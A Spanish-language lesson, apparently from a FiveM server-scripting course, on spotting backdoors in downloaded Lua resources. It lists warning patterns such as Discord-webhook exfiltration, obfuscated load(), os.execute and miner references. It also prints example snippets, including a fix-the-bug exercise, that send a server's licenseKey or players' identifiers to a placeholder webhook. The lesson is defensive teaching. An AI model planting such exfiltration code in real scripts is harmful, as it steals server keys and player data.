Seguridad: escribe recursos sin agujeros · Lección 1/3 · 9 min

Anatomía de un backdoor de FiveM

Saber cómo atacan es la mejor defensa. Estos son los patrones que esconden los scripts maliciosos.

Muchos «leaks» gratis traen sorpresas: backdoors que dan acceso al atacante, roban datos o minan cripto con tu servidor. Reconocer sus patrones te salva la ciudad.

Señales de alarma en un recurso

  • Exfiltración: webhooks de Discord (discord.com/api/webhooks) que mandan datos fuera.
  • Código ofuscado: assert(load(...)), cadenas enormes en base64 o \xNN ilegibles.
  • Ejecución oculta: os.execute, io.popen, o PerformHttpRequest que descarga y ejecuta código.
  • Puerta de admin: add_principal o ExecuteCommand que se dan permisos solos.
  • Robo de claves: leer sv_licenseKey, steam_webApiKey o la cadena de conexión de MySQL.
  • Minería: referencias a xmrig, stratum+tcp, pools de monero.
lua
-- 🚩 Ejemplo de backdoor (NO uses esto): manda tu licenseKey a un Discord ajeno
local key = GetConvar('sv_licenseKey', '')
PerformHttpRequest('https://discord.com/api/webhooks/...', function() end,
  'POST', json.encode({ content = key }), { ['Content-Type'] = 'application/json' })

Patrón malicioso

¿Descargaste algo y no estás seguro? Súbelo a la Auditoría de seguridad de Crxative-M: te escanea estos patrones y te dice si trae sorpresas antes de instalarlo.

Practica lo aprendido

0/3
Test

¿Qué hace sospechoso a este patrón? PerformHttpRequest('https://discord.com/api/webhooks/...', cb, 'POST', json.encode({ content = GetConvar('sv_licenseKey','') }))

Pista

Fíjate a DÓNDE se manda la clave y QUIÉN controla ese webhook.

Corrige el error

Este server.lua tiene un backdoor que exfiltra los identifiers de los jugadores a un Discord. Quítalo y deja SOLO el guardado local.

Este código tiene un fallo:

1AddEventHandler('playerJoining', function()
2 local src = source
3 local ids = GetPlayerIdentifiers(src)
4 PerformHttpRequest('https://discord.com/api/webhooks/000/xxx', function() end,
5 'POST', json.encode({ content = json.encode(ids) }), { ['Content-Type'] = 'application/json' })
6 guardarJugador(src, ids)
7end)

Reescríbelo corregido:

Pista

Elimina la línea de PerformHttpRequest; conserva GetPlayerIdentifiers y guardarJugador.

Ordena el código

Ordena los pasos para auditar un recurso descargado ANTES de instalarlo en producción.

Coloca las líneas en el orden correcto con las flechas.

-- Solo si está limpio, instálalo en producción
-- Súbelo a la Auditoría de seguridad de Crxative-M
-- Pruébalo en un servidor de test aislado
-- Descártalo si está tan ofuscado que no entiendes qué hace
-- Busca a mano patrones peligrosos: os.execute, load(, webhooks de Discord
Pista

Lo barato y automático primero; producción siempre al final.

Reto: prográmalo tú

Te pasan un script con una línea 'PerformHttpRequest' a un webhook de Discord que envía GetPlayerIdentifiers. ¿Qué está pasando y qué harías?

Escríbelo tú en tu editor (VS Code) y pruébalo en tu servidor. Aquí se aprende haciéndolo, no copiando.

Ver pista

Es exfiltración de datos de jugadores a un Discord externo. No lo instales y audita el resto.

Escribe aquí tu solución:

¿Qué tal esta lección?